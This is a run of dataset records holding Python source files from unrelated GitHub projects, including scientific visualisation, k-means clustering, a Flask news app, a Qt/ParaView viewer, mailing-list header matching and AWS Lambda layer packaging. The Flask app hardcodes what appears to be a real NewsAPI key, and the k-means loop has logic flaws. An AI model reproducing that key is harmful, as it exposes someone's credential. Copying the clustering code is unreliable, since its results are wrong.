rescale_colorbars=False, block=None, filename=None, columns=2,\n return_widget=False, **kwargs):\n \"\"\"Visualize the provided data.\n\n Parameters\n ----------\n U\n |VectorArray| of the data to visualize. If `len(U) > 1`, the data is visualized\n as a time series of plots. Alternatively, a tuple of |VectorArrays| can be\n provided, in which case a subplot is created for each entry of the tuple. The\n lengths of all arrays have to agree.\n title\n Title of the plot.\n legend\n Description of the data that is plotted. Most useful if `U` is a tuple in which\n case `legend` has to be a tuple of strings of the same length.\n separate_colorbars\n If `True`, use separate colorbars for each subplot.\n rescale_colorbars\n If `True`, rescale colorbars to data in each frame.\n block\n If `True`, block execution until the plot window is closed. If `None`, use the\n default provided during instantiation.\n columns\n The number of columns in the visualizer GUI in case multiple plots are displayed\n at the same time.\n filename\n If specified, write the data to a VTK-file using\n :func:`~pymor.discretizers.builtin.grids.vtkio.write_vtk` instead of displaying it.\n return_widget\n If `True`, create an interactive visualization that can be used as a jupyter widget.\n kwargs\n Additional backend-specific arguments.\n \"\"\"\n assert isinstance(U, VectorArray) \\\n or (isinstance(U, tuple)\n and all(isinstance(u, VectorArray) for u in U)\n and all(len(u) == len(U[0]) for u in U))\n if filename:\n from pymor.discretizers.builtin.grids.vtkio import write_vtk\n if not isinstance(U, tuple):\n write_vtk(self.grid, U, filename, codim=self.codim)\n else:\n for i, u in enumerate(U):\n write_vtk(self.grid, u, f'{filename}-{i}', codim=self.codim)\n else:\n if self.backend == 'jupyter':\n from pymor.discretizers.builtin.gui.jupyter import get_visualizer\n return get_visualizer()(self.grid, U, bounding_box=self.bounding_box, codim=self.codim, title=title,\n legend=legend, separate_colorbars=separate_colorbars,\n rescale_colorbars=rescale_colorbars, columns=columns,\n return_widget=return_widget, **kwargs)\n else:\n if return_widget:\n raise NotImplementedError\n block = self.block if block is None else block\n from pymor.discretizers.builtin.gui.qt import visualize_patch\n return visualize_patch(self.grid, U, bounding_box=self.bounding_box, codim=self.codim, title=title,\n legend=legend, separate_colorbars=separate_colorbars,\n rescale_colorbars=rescale_colorbars, backend=self.backend, block=block,\n columns=columns, **kwargs)\n\n\nclass OnedVisualizer(ImmutableObject):\n \"\"\"Visualize scalar data associated to a one-dimensional |Grid| as a plot.\n\n The grid's |ReferenceElement| must be the line. The data can either\n be attached to the subintervals or vertices of the grid.\n\n Parameters\n ----------\n grid\n The underlying |Grid|.\n codim\n The codimension of the entities the data in `U` is attached to (either 0 or 1).\n block\n If `True`, block execution until the plot window is closed.\n backend\n Plot backend to use ('jupyter_or_matplotlib', 'jupyter', 'matplotlib').\n \"\"\"\n\n @defaults('backend')\n def __init__(self, grid, codim=1, block=False, backend='jupyter_or_matplotlib'):\n assert isinstance(grid, OnedGrid)\n assert codim in (0, 1)\n assert backend in {'jupyter_or_matplotlib', 'jupyter', 'matplotlib'}\n if backend == 'jupyter_or_matplotlib':\n backend = 'jupyter' if is_jupyter() else 'matplotlib'\n self.__auto_init(locals())\n\n def visualize(self, U, title=None, legend=None, separate_plots=False,\n rescale_axes=False, block=None, columns=2, return_widget=False):\n \"\"\"Visualize the provided data.\n\n Parameters\n ----------\n U\n |VectorArray| of the data to visualize. If `len(U) > 1`, the data is visualized\n as a time series of plots. Alternatively, a tuple of |VectorArrays| can be\n provided, in which case several plots are made into the same axes. The\n lengths of all arrays have to agree.\n title\n Title of the plot.\n legend\n Description of the data that is plotted. Most useful if `U` is a tuple in which\n case `legend` has to be a tuple of strings of the same length.\n separate_plots\n If `True`, use multiple figures to visualize multiple |VectorArrays|.\n rescale_axes\n If `True`, rescale axes to data in each frame.\n block\n If `True`, block execution until the plot window is closed. If `None`, use the\n default provided during instantiation.\n columns\n Number of columns the subplots are organized in.\n return_widget\n If `True`, create an interactive visualization that can be used as a jupyter widget.\n \"\"\"\n if self.backend == 'jupyter':\n from pymor.discretizers.builtin.gui.jupyter.matplotlib import visualize_matplotlib_1d\n return visualize_matplotlib_1d(self.grid, U, codim=self.codim, title=title, legend=legend,\n separate_plots=separate_plots, rescale_axes=rescale_axes,\n columns=columns, return_widget=return_widget)\n else:\n if return_widget:\n raise NotImplementedError\n block = self.block if block is None else block\n from pymor.discretizers.builtin.gui.qt import visualize_matplotlib_1d\n return visualize_matplotlib_1d(self.grid, U, codim=self.codim, title=title, legend=legend,\n separate_plots=separate_plots, rescale_axes=rescale_axes,\n block=block)\n\n\ndef _vmins_vmaxs(U, separate_colorbars, rescale_colorbars):\n if separate_colorbars:\n if rescale_colorbars:\n vmins = [np.min(u, axis=1) for u in U]\n vmaxs = [np.max(u, axis=1) for u in U]\n else:\n vmins = [[np.min(u)] * len(U[0]) for u in U]\n vmaxs = [[np.max(u)] * len(U[0]) for u in U]\n else:\n if rescale_colorbars:\n vmins = [[min(np.min(u[i]) for u in U) for i in range(len(U[0]))]] * len(U)\n vmaxs = [[max(np.max(u[i]) for u in U) for i in range(len(U[0]))]] * len(U)\n else:\n vmins = [[np.min(U)] * len(U[0])] * len(U)\n vmaxs = [[np.max(U)] * len(U[0])] * len(U)\n\n return vmins, vmaxs\n","repo_name":"pymor/pymor","sub_path":"src/pymor/discretizers/builtin/gui/visualizers.py","file_name":"visualizers.py","file_ext":"py","file_size_in_byte":8909,"program_lang":"python","lang":"en","doc_type":"code","stars":257,"dataset":"github-code","pt":"67"} +{"seq_id":"70277157335","text":"\"\"\"The 3D Scene.\"\"\"\n\nimport os\nfrom text_grapher.graph import Graph\nfrom text_grapher.player import open_graph_sequence\nfrom text_grapher.entities import Camera, Geometry\n\nclass Scene:\n def __init__(self, name='tg_scene'):\n self.name = name\n self.graph = Graph()\n self.frame_start = 0\n self.frame_stop = 250\n self._animations = []\n self.geometries = []\n self.camera = Camera()\n\n def add(self, geometry):\n self.geometries.append(geometry)\n\n def frame(self, f):\n self.graph.clear()\n for a in self._animations:\n a(f)\n\n for geometry in self.geometries:\n self.draw_geometry(geometry)\n\n def convert_verts_to_2d(self, verts_list):\n size = self.graph.width\n points_list_2d = []\n for v in verts_list:\n x = 5*v.x/v.z * size/2\n y = 5*v.y/v.z * size/2\n points_list_2d.append((x, y))\n return points_list_2d\n\n def draw_geometry(self, geometry):\n \"\"\"draw the geometry on the graph\"\"\"\n\n world_verts = geometry.world_verts\n cam_verts = self.camera.world_to_cam(world_verts)\n points = self.convert_verts_to_2d(cam_verts)\n for segment in geometry.edges:\n A = points[segment[0]]\n B = points[segment[1]]\n self.graph.line(*A, *B, geometry.character)\n\n def animation(self, func):\n \"\"\"decorator for defining animation functions\"\"\"\n self._animations.append(func)\n\n def render_gif(self, invert=False):\n # import here so the rest of the package is usable without pillow\n from PIL import Image, ImageDraw\n spacing = 1.1\n\n imgs = []\n\n background_color = 255\n text_color = 0\n if invert:\n background_color, text_color = 0, 255\n\n for t in range(self.frame_start, self.frame_stop):\n self.frame(t)\n graph = str(self.graph)\n width = int(self.graph.width * 12 + 15)\n height = int(self.graph.height * 12 + 15)\n\n img = Image.new(\n 'L',\n (width, height),\n color = background_color\n )\n\n d = ImageDraw.Draw(img)\n d.text(\n (10,10),\n graph,\n fill=text_color,\n spacing=1.0\n )\n\n imgs.append(img)\n\n imgs[0].save(\n f'{self.name}.gif',\n save_all=True,\n append_images=imgs[1:],\n duration=33,\n loop=0)\n\n\n def render(self, open_player=False):\n\n for t in range(self.frame_start, self.frame_stop):\n self.frame(t)\n if not os.path.exists(self.name):\n os.makedirs(self.name)\n dst = os.path.join(self.name, str(t).zfill(5) + '.txt')\n with open(dst, 'w') as outfile:\n outfile.write(str(self.graph))\n\n if open_player:\n open_graph_sequence(self.name)\n","repo_name":"fletchgraham/text_grapher","sub_path":"text_grapher/scene.py","file_name":"scene.py","file_ext":"py","file_size_in_byte":3008,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"67"} +{"seq_id":"10021567027","text":"\"\"\"\n\nLitong Peng\n02/14/2021\n\n\"\"\"\nimport csv\n\nimport matplotlib.pyplot as plt\nimport random\nimport numpy as np\nfrom math import inf, sqrt\n\n\n# load the data from csv file\ndef load_data(file):\n csv_file = csv.reader(open(file, 'r'))\n data = []\n for row in csv_file:\n # the first line is string\n if csv_file.line_num == 1:\n continue\n temp = []\n for point in row:\n temp.append(float(point))\n data.append(temp)\n # the first line is attributes\n return data[1:]\n\n\n# generate k random centroids\ndef random_centroids(data, k):\n # the maximum value from data\n max_v = np.max(data)\n # the minimum value from data\n min_v = np.min(data)\n centroids = []\n for i in range(k):\n temp = []\n for j in range(len(data[0])):\n # choose a random number in the range from minimum to maximum\n temp.append(random.uniform(min_v, max_v))\n centroids.append(temp)\n return centroids\n\n\n# find the nearest centroid for a point\ndef nearest(point, centroids):\n min_distance = float(inf)\n for i in range(len(centroids)):\n distance = euclidean(centroids[i], point)\n if distance < min_distance:\n min_distance = distance\n index = i\n return index\n\n\n# calculate the euclidean distance for two points\ndef euclidean(centroids, point):\n s = 0\n for i in range(len(centroids)):\n s += pow((centroids[i] - point[i]), 2)\n return sqrt(s)\n\n\n# calculate the new centroids\ndef update_centroids(data, clusters):\n new_centroids = []\n # for each centroid\n for cluster in clusters:\n # if this cluster is not empty\n if len(cluster) != 0:\n temp = []\n for i in range(len(cluster[0])):\n sum = 0\n for points in cluster:\n sum += points[i]\n mean = sum / len(cluster)\n temp.append(mean)\n new_centroids.append(temp)\n # if no item is assigned to this group\n else:\n n = list(random.choice(data))\n new_centroids.append(n)\n return new_centroids\n\n\n# k-means algorithm\ndef k_means(data, k):\n # generate random k centroids\n centroids = random_centroids(data, k)\n # determine whether the centroids has changed or not\n centroids_change = True\n # calculate the iteration times\n i = 0\n # initiate the group will be assigned items\n clusters = [[] for _ in range(k)]\n # Assign every item to its nearest centroids\n while centroids_change == True or i < 100:\n centroids_change = False\n for point in data:\n # find the centroids' index of every item\n index = nearest(point, centroids)\n # add the items belong to same index(same centroids) to the cluster group\n clusters[index].append(point)\n # update centroids\n new_centroids = update_centroids(data, clusters)\n # if centroids changed\n if new_centroids == centroids:\n # end loop\n centroids_change = False\n else:\n # next loop\n centroids = new_centroids\n i += 1\n # calculate the sse\n sse = 0\n for cen, clus in zip(centroids, clusters):\n temp = 0\n for p in clus:\n temp += pow(euclidean(p, cen), 2)\n sse += temp\n return sse, clusters\n\n\ndef k_means_sc(data, k):\n sse, clusters = k_means(data, k)\n # calculate the silhouette coefficient\n si = 0\n # for each clusters\n for a in range(len(clusters)):\n # for each points in a cluster\n for pts in range(len(clusters[a])):\n # calculate a(i) value for each point in each cluster\n sum_a = 0\n # all points in same cluster\n for pts_a in range(len(clusters[a])):\n # if it is not the same point\n if pts_a != pts:\n sum_a += euclidean(clusters[a][pts], clusters[a][pts_a])\n ai = sum_a / len(clusters[a])\n # calculate c(i) value for each point in each cluster\n bi = float(inf)\n temp_sum = 0\n # all clusters\n for c in range(len(clusters)):\n # if it is not the same cluster\n if c != a:\n for pts_c in range(len(clusters[c])):\n temp_sum += euclidean(clusters[a][pts], clusters[c][pts_c])\n ci = temp_sum / len(clusters[c])\n if ci < bi:\n bi = ci\n si += (bi - ai) / max(ai, bi)\n sc = si / len(data)\n return sse, sc\n\n\n# the main program\n# which implement k means algorithm,\n# and use sse and silouette coefficient to determine cluster quality\ndef main():\n file = input(\"please enter your file path\")\n # file = '/Users/penglitong/Desktop/Clustering.csv'\n data = load_data(file)\n x = []\n y = []\n sc_list = []\n for k in range(2, 21, 2):\n x.append(k)\n # I found the knee by sse when k = 8\n # and I used Weka to find optimal k is 12\n if k == 8 or k == 12:\n sse, sc = k_means_sc(data, k)\n sc_list.append(sc)\n else:\n sse, unimportant = k_means(data, k)\n y.append(sse)\n # plot the sse for k means\n plt.xlabel('K')\n plt.ylabel('SSE')\n plt.title('Simple k means')\n plt.plot(x, y)\n plt.show()\n # print the silhouette coefficient of k=8 and 12\n print(\n 'The silhouette coefficient of k=8 for k means and k=12 for EM are' + str(sc_list[0]) + 'and' + str(sc_list[1]))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"LitongPeng/k-means-and-silhouette-coefficient","sub_path":"litong.py","file_name":"litong.py","file_ext":"py","file_size_in_byte":5633,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"41419045476","text":"# Have installed pip flask\n\nfrom flask import Flask, render_template\nfrom newsapi import NewsApiClient #Import the API and import it here.\napp = Flask(__name__)\n\n\n#Creating a route function @approute and rendering the html template.\n@app.route(\"/\")\ndef home():\n\n newsapi = NewsApiClient(api_key=\"44216e90102b4e7bbc548343f8cdc3ea\")\n\n#Code-block for getting the top stories from the API\n topheadlines = newsapi.get_top_headlines(sources = \"bbc-news\") #source to help us from where to get the news by API.\n\n#code-block to fetch headlines\n top_articles = topheadlines['articles']\n\n\n#We make a list of the items to display on our application\n news = []\n descriptions = []\n image = []\n publication_date = []\n news_url = []\n\n#Code block using a for-loop to fetch the contents of articles.\n for i in range(len(top_articles)): \n main_article = top_articles[i]\n\n news.append(main_article['title']) #To append the title into the list.\n descriptions.append(main_article['description']) #To append the description into the list.\n image.append(main_article['urlToImage']) #Append the urlToImage into the list.\n publication_date.append(main_article['publishedAt']) #Append the published date into the list.\n news_url.append(main_article['url']) #Append the url into the list.\n\n#To store the contents gotten above.\n contents = zip(news, descriptions,image,publication_date,news_url)\n\n#To get all articles:\n all_articles = newsapi.get_everything(sources = \"bbc-news\")\n#code-block to fetch all articles\n a_articles = all_articles['articles']\n#We make a list of the items to display on our application\n news_all = []\n desc_all = []\n img_all = []\n p_date_all = [] \n url_all = []\n\n for j in range(len(a_articles)): \n a_article = a_articles[j] \n\n news_all.append(a_article['title'])\n desc_all.append(a_article['description'])\n img_all.append(a_article['urlToImage'])\n p_date_all.append(a_article['publishedAt'])\n url_all.append(a_article['url'])\n \n all = zip( news_all,desc_all,img_all,p_date_all,url_all)\n#To store all the articles gotten above.\n all = zip(news_all, desc_all,img_all,p_date_all,url_all)\n\n\n#Passing in the contents variable into the file we are rendering.\n\n return render_template('home.html', contents=contents, all=all)\n\n\n\n\n#Creating a route function @approute and rendering the html template.\n@app.route(\"/cnn\")\ndef cnn():\n\n newsapi = NewsApiClient(api_key=\"44216e90102b4e7bbc548343f8cdc3ea\")\n\n#Code-block for getting the top stories from the API\n ctop_headlines = newsapi.get_top_headlines(sources = \"cnn\") #source to help us from where to get the news by API.\n\n#code-block to fetch headlines\n c_articles = ctop_headlines['articles']\n\n\n#We make a list of the items to display on our application\n cnews = []\n cdesc = []\n cimg = []\n cp_date = []\n curl = []\n\n#Code block using a for-loop to fetch the contents of articles.\n for i in range(len(c_articles)): \n cmain_article = c_articles[i]\n\n cnews.append(cmain_article['title']) #To append the title into the list.\n cdesc.append(cmain_article['description']) #To append the description into the list.\n cimg.append(cmain_article['urlToImage']) #Append the urlToImage into the list.\n cp_date.append(cmain_article['publishedAt']) #Append the published date into the list.\n curl.append(cmain_article['url']) #Append the url into the list.\n\n#To store the contents gotten above.\n cnn_contents = zip(cnews, cdesc,cimg,cp_date,curl)\n return render_template('cnn.html', cnn_contents=cnn_contents)\n\n\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n\n","repo_name":"jacobrugano/djangotest","sub_path":"SomaNews/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":3752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"21532332868","text":"# encoding: utf-8\n\n\nfrom __future__ import print_function\nimport os\nimport vtk\nfrom paraview import simple\n\nfrom PyQt5 import QtCore, QtGui, uic, QtWidgets\nfrom vtkmodules.qt.QVTKRenderWindowInteractor import QVTKRenderWindowInteractor\n\n\nclass ViewerApp(QtWidgets.QMainWindow):\n def __init__(self):\n # Parent Constructor\n super(ViewerApp, self).__init__()\n\n self.ui = None\n self.vtk_widget = None\n self.setup()\n\n def setup(self):\n import pyqtUI2\n\n self.ui = pyqtUI2.Ui_MainWindow()\n self.ui.setupUi(self)\n\n self.vtk_widget = QViewer(self.ui.vtk_panel)\n\n self.ui.vtk_layout = QtWidgets.QHBoxLayout()\n self.ui.vtk_layout.addWidget(self.vtk_widget)\n self.ui.vtk_layout.setContentsMargins(0, 0, 0, 0)\n\n self.ui.vtk_panel.setLayout(self.ui.vtk_layout)\n\n self.ui.opacity_slider.setValue(50)\n self.ui.opacity_slider.valueChanged.connect(self.vtk_widget.set_opacity)\n\n self.ui.shrink_slider.setValue(50)\n self.ui.shrink_slider.valueChanged.connect(self.vtk_widget.set_shrink)\n\n def initialize(self):\n self.vtk_widget.start()\n\n\nclass QViewer(QtWidgets.QFrame):\n def __init__(self, parent):\n # Parent Constructor\n super(QViewer, self).__init__(parent)\n\n # Set QVTKRenderWindowInteractor\n self.interactor = QVTKRenderWindowInteractor(self)\n\n # Initialize LayOut Object\n self.layout = QtWidgets.QHBoxLayout()\n self.layout.addWidget(self.interactor)\n self.layout.setContentsMargins(0, 0, 0, 0)\n\n # Set Layout\n self.setLayout(self.layout)\n\n # ===================== Construct ParaView PipeLine =====================\n # Set RenderView and Renderer\n self.renderView = simple.GetActiveViewOrCreate('RenderView')\n\n # Get Renderer\n self.renderer = self.renderView.GetRenderer()\n\n # Set RenderWindow\n self.renderWindow = self.interactor.GetRenderWindow()\n self.renderWindow.AddRenderer(self.renderer)\n\n # Get InteractorStyle\n self.interactorStyle = self.interactor.GetInteractorStyle()\n\n # Set Interactor\n self.renderWindow.SetInteractor(self.interactor)\n\n # Set Background\n self.renderer.SetBackground(0.2, 0.2, 0.2)\n\n # Make Sphere Source\n self.sphere = simple.Sphere(Radius=1.0, Center=[0, 1, 0])\n self.sphereDisplay = simple.Show(self.sphere, self.renderView)\n\n # Set Opacity of Sphere Source\n self.sphereDisplay.Opacity = 0.5\n\n # Make Shrink Filter to Sphere Source\n self.sphereShrink = simple.Shrink(Input=self.sphere, ShrinkFactor=0.5)\n self.sphereShrinkDisplay = simple.Show(self.sphereShrink, self.renderView)\n\n simple.Render()\n # =======================================================================\n\n def start(self):\n self.interactor.Initialize()\n self.interactor.Start()\n\n def set_opacity(self, new_value):\n float_value = new_value/100.0\n self.sphereDisplay.Opacity = float_value\n self.renderWindow.Render()\n\n def set_shrink(self, new_value):\n float_value = new_value/100.0\n self.sphereShrink.SetPropertyWithName('ShrinkFactor', float_value)\n self.sphereShrinkDisplay = simple.Show(self.sphereShrink, self.renderView)\n self.renderView.Update()\n self.renderWindow.Render()\n\n\nif __name__ == \"__main__\":\n\n os.chdir(os.path.dirname(__file__))\n\n # Recompile UI\n \"\"\"with open(\"untitled.ui\") as ui_file:\n with open(\"pyqtUI2.py\", 'w') as py_ui_file:\n uic.compileUi(ui_file, py_ui_file)\n print(u'>> {}'.format(\"pyqtUI2.py\"))\"\"\"\n\n app = QtWidgets.QApplication([])\n main_window = ViewerApp()\n main_window.show()\n main_window.initialize()\n app.exec_()\n","repo_name":"devhoonse/2019","sub_path":"VTK_QT5_GUI_SAMPLE/pvqtTest2.py","file_name":"pvqtTest2.py","file_ext":"py","file_size_in_byte":3834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"4179930949","text":"import os\nimport shutil\nfrom zipfile import ZipFile\n\nimport boto3\n\nfrom common.get_config import get_from_common_service\nfrom common.get_compatible import get_compatible_runtimes, get_compatible_architectures\n\nfrom aws_lambda_powertools.logging import Logger\n\nlogger = Logger()\n\ns3 = boto3.client(\"s3\")\n\n\n@logger.inject_lambda_context\ndef main(event, context):\n \"\"\"\n Combines multiple packages into a single zip file\n Function downloads layer for packages from S3, unzips them, and combines them all into a single zip\n Uploads zip into S3 with a new name\n Deploys to all regions\n \"\"\"\n\n packages = event[\"packages\"]\n combined_package_name = combined_name(packages)\n python_version = event[\"python_version\"]\n zip_file_S3key = f\"{python_version}/{combined_package_name}.zip\"\n license_info = \"Refer for individual package\"\n\n archive_path = combine_packages(\n packages=packages,\n python_version=python_version,\n combined_name=combined_package_name,\n )\n upload_to_s3(archive_path=archive_path, s3_location=zip_file_S3key)\n\n regions = get_from_common_service(resource=f\"/api/v1/config/{python_version}/rgns\")\n logger.info({\"regions\": regions})\n\n layers = publish_layer(\n regions=regions,\n archive_path=archive_path,\n python_version=python_version,\n license_info=license_info,\n combined_name=combined_package_name,\n )\n\n return layers\n\n\ndef combined_name(packages: list[str]) -> str:\n \"\"\"\n Args:\n packages: List of strings of packages to combine\n returns:\n combined_name: String of combined package name with dash in between\n Eg: custom-pandas-tabulate-...\n\n Example:\n packages = [\"pandas\", \"tabulate\"]\n combined_name = \"custom-pandas-tabulate-...\"\n\n Example:\n packages = [\"pandas\", \"numpy\", \"tabulate\", \"scipy\"]\n combined_name = \"custom-pandas-numpy-tabulate-scipy-...\n \"\"\"\n combined_name = \"custom\"\n for name in packages:\n combined_name = combined_name + \"-\" + name\n\n logger.info(f\"New name: {combined_name}\")\n return combined_name\n\n\ndef combine_packages(\n packages: list[str], python_version: str, combined_name: str\n) -> None:\n \"\"\"\n Args:\n packages: List of strings of packages to combine\n python_version: String of python version\n combined_name: Name of combined package\n returns:\n combined_name: combined file name to upload\n \"\"\"\n\n archive_path = f\"/tmp/{combined_name}.zip\"\n\n for package in packages:\n s3_key = f\"{python_version}/{package}.zip\"\n download_path = f\"/tmp/{package}.zip\"\n s3.download_file(os.environ[\"BUCKET_NAME\"], s3_key, download_path)\n logger.info(f\"Download {s3_key} to {download_path}\")\n # Unzip file\n with ZipFile(download_path, \"r\") as zip_object:\n zip_object.extractall(\"/tmp\")\n\n result = shutil.make_archive(\n base_name=archive_path.split(\".\")[0], # remove the .zip\n format=\"zip\",\n base_dir=\"python\",\n root_dir=\"/tmp\",\n )\n\n return archive_path\n\n\ndef upload_to_s3(archive_path: str, s3_location: str):\n \"\"\"\n Args:\n archive_path: Location of zip file to be uploaded to S3 bucket\n combined_name: Name of combined package\n returns:\n uploaded_file_name: Name of file in S3 bucket\n \"\"\"\n bucket_name = os.environ[\"BUCKET_NAME\"]\n\n logger.info(\n f\"Uploading {archive_path} with name {s3_location} to S3 bucket {bucket_name}\"\n )\n s3.upload_file(archive_path, bucket_name, s3_location)\n\n return None\n\n\ndef publish_layer(\n regions: list[str],\n archive_path: str,\n python_version: str,\n combined_name: str,\n license_info: str,\n):\n \"\"\"\n Args:\n regions: List of regions to deploy to\n archive_path: Location of zip file to be uploaded to S3 bucket\n combined_name: Name of combined package\n returns:\n layer_arns: List of layer ARNs deployed\n \"\"\"\n\n layer_name = f\"{os.environ['LAMBDA_LAYER_PREFIX']}{python_version.replace('.','')}-{combined_name}\"\n\n with open(archive_path, \"rb\") as zip_file:\n zip_binary = zip_file.read()\n\n layer_arns = []\n\n for region in regions:\n logger.info(\n {\"message\": \"Deploying\", \"region\": region, \"package\": combined_name}\n )\n lambda_client = boto3.client(\"lambda\", region_name=region)\n response = lambda_client.publish_layer_version(\n LayerName=layer_name,\n Description=f\"{combined_name}\",\n Content={\"ZipFile\": zip_binary},\n CompatibleRuntimes=get_compatible_runtimes(python_version=python_version),\n CompatibleArchitectures=get_compatible_architectures(\n python_version=python_version\n ),\n LicenseInfo=license_info,\n )\n layer_version_arn = response[\"LayerVersionArn\"]\n layer_arns.append(layer_version_arn)\n layer_version = int(layer_version_arn.split(\":\")[-1])\n\n # Make Layer Publicly accessible\n logger.info(\n {\n \"message\": \"Making Public\",\n \"region\": region,\n \"package\": combined_name,\n \"python_version\": python_version,\n \"arn\": layer_version_arn,\n }\n )\n lambda_client.add_layer_version_permission(\n LayerName=layer_name,\n VersionNumber=layer_version,\n StatementId=\"make_public\",\n Action=\"lambda:GetLayerVersion\",\n Principal=\"*\",\n )\n\n logger.info({\"message\": \"Layer ARNs\", \"layer_arns\": layer_arns})\n\n return layer_arns\n","repo_name":"keithrozario/Klayers","sub_path":"pipeline/Serverless/02_pipeline/combine.py","file_name":"combine.py","file_ext":"py","file_size_in_byte":5675,"program_lang":"python","lang":"en","doc_type":"code","stars":1801,"dataset":"github-code","pt":"72"} +{"seq_id":"16456224767","text":"from mailmanclient.restbase.base import RESTList, RESTObject\n\n__metaclass__ = type\n__all__ = [\n 'HeaderMatch',\n 'HeaderMatches'\n]\n\n\nclass HeaderMatches(RESTList):\n \"\"\"\n The list of header matches for a mailing-list.\n \"\"\"\n\n def __init__(self, connection, url, mlist):\n \"\"\"\n :param mlist: The corresponding list object.\n :type mlist: MailingList.\n \"\"\"\n super(HeaderMatches, self).__init__(connection, url)\n self._mlist = mlist\n self._factory = lambda data: HeaderMatch(\n self._connection, data['self_link'], data)\n\n def __repr__(self):\n return ''.format(self._mlist.list_id)\n\n def add(self, header, pattern, action=None):\n \"\"\"\n :param header: The header to consider.\n :type header: str\n :param pattern: The regular expression to use for filtering.\n :type pattern: str\n :param action: The action to take when the header matches the pattern.\n This can be 'accept', 'discard', 'reject', or 'hold'.\n :type action: str\n \"\"\"\n data = dict(header=header, pattern=pattern)\n if action is not None:\n data['action'] = action\n response, content = self._connection.call(self._url, data)\n self._reset_cache()\n return HeaderMatch(self._connection, response['location'])\n\n\nclass HeaderMatch(RESTObject):\n\n _properties = ('header', 'pattern', 'position', 'action', 'self_link')\n _writable_properties = ('header', 'pattern', 'position', 'action')\n\n def __repr__(self):\n return ''.format(self.header)\n","repo_name":"inonit/mailmanclient","sub_path":"src/mailmanclient/restobjects/header_match.py","file_name":"header_match.py","file_ext":"py","file_size_in_byte":1649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"34057180086","text":"import ast\nimport click\nimport csv\nimport dataclasses\nimport importlib\nimport inspect\nimport json\nimport pathlib\nimport site\nimport subprocess\nimport sys\nfrom typing import TextIO, Iterable, Literal, Tuple\n\nfrom .lib import (\n code_for_node,\n find_symbol_nodes,\n import_line_for_function,\n read_file,\n type_summary,\n)\n\n\n@dataclasses.dataclass\nclass Output:\n symbol_id: str\n output_identifier_line: str\n output_import_line: str\n snippet: str\n\n\n@click.command()\n@click.version_option()\n@click.argument(\"symbols\", nargs=-1)\n@click.option(\n \"files\",\n \"-f\",\n \"--file\",\n type=click.Path(file_okay=True, dir_okay=False),\n multiple=True,\n help=\"Files to search\",\n)\n@click.option(\n \"directories\",\n \"-d\",\n \"--directory\",\n type=click.Path(file_okay=False, dir_okay=True, resolve_path=True),\n multiple=True,\n help=\"Directories to search\",\n)\n@click.option(\"--stdlib\", is_flag=True, help=\"Search the Python standard library\")\n@click.option(\n \"excludes\",\n \"-x\",\n \"--exclude\",\n type=click.Path(file_okay=False, dir_okay=True, resolve_path=True),\n multiple=True,\n help=\"Directories to exclude\",\n)\n@click.option(\n \"-s\",\n \"--signatures\",\n is_flag=True,\n help=\"Show just function and class signatures\",\n)\n@click.option(\n \"-n\",\n \"--no-file\",\n is_flag=True,\n help=\"Don't include the # File: comments in the output\",\n)\n@click.option(\n \"-i\",\n \"--imports\",\n is_flag=True,\n help=\"Show 'from x import y' lines for imported symbols\",\n)\n@click.option(\n \"modules\", \"-m\", \"--module\", multiple=True, help=\"Modules to search within\"\n)\n@click.option(\n \"sys_paths\",\n \"--sys-path\",\n multiple=True,\n help=\"Calculate imports relative to these on sys.path\",\n)\n@click.option(\n \"--docs\",\n \"--docstrings\",\n is_flag=True,\n help=\"Show function and class signatures plus docstrings\",\n)\n@click.option(\n \"--count\",\n is_flag=True,\n help=\"Show count of matching symbols\",\n)\n@click.option(\n \"--silent\",\n is_flag=True,\n help=\"Silently ignore Python files with parse errors\",\n)\n@click.option(\n \"--function\",\n is_flag=True,\n help=\"Filter functions\",\n)\n@click.option(\n \"async_\",\n \"--async\",\n is_flag=True,\n help=\"Filter async functions\",\n)\n@click.option(\n \"unasync\",\n \"--unasync\",\n is_flag=True,\n help=\"Filter non-async functions\",\n)\n@click.option(\n \"class_\",\n \"--class\",\n is_flag=True,\n help=\"Filter classes\",\n)\n@click.option(\n \"--documented\",\n is_flag=True,\n help=\"Filter functions with docstrings\",\n)\n@click.option(\n \"--undocumented\",\n is_flag=True,\n help=\"Filter functions without docstrings\",\n)\n@click.option(\n \"--public\",\n is_flag=True,\n help=\"Filter for symbols without a _ prefix\",\n)\n@click.option(\n \"--private\",\n is_flag=True,\n help=\"Filter for symbols with a _ prefix\",\n)\n@click.option(\n \"--dunder\",\n is_flag=True,\n help=\"Filter for symbols matching __*__\",\n)\n@click.option(\n \"--typed\",\n is_flag=True,\n help=\"Filter functions with type annotations\",\n)\n@click.option(\n \"--untyped\",\n is_flag=True,\n help=\"Filter functions without type annotations\",\n)\n@click.option(\n \"--partially-typed\",\n is_flag=True,\n help=\"Filter functions with partial type annotations\",\n)\n@click.option(\n \"--fully-typed\",\n is_flag=True,\n help=\"Filter functions with full type annotations\",\n)\n@click.option(\n \"--no-init\",\n is_flag=True,\n help=\"Filter to exclude any __init__ methods\",\n)\n@click.option(\n \"--check\", is_flag=True, help=\"Exit with non-zero code if any matches found\"\n)\n@click.option(\n \"--replace\",\n is_flag=True,\n help=\"Replace matching symbol with text from stdin\",\n)\n@click.option(\"--rexec\", help=\"Replace with the result of piping to this tool\")\n# Output options\n@click.option(\"csv_\", \"--csv\", is_flag=True, help=\"Output as CSV\")\n@click.option(\"--tsv\", is_flag=True, help=\"Output as TSV\")\n@click.option(\"json_\", \"--json\", is_flag=True, help=\"Output as JSON\")\n@click.option(\"--nl\", is_flag=True, help=\"Output as newline-delimited JSON\")\n@click.option(\"--id-prefix\", help=\"Prefix to use for symbol IDs\")\ndef cli(\n symbols,\n files,\n directories,\n stdlib,\n excludes,\n signatures,\n no_file,\n imports,\n modules,\n sys_paths,\n docs,\n count,\n silent,\n function,\n async_,\n unasync,\n class_,\n documented,\n undocumented,\n public,\n private,\n dunder,\n typed,\n untyped,\n partially_typed,\n 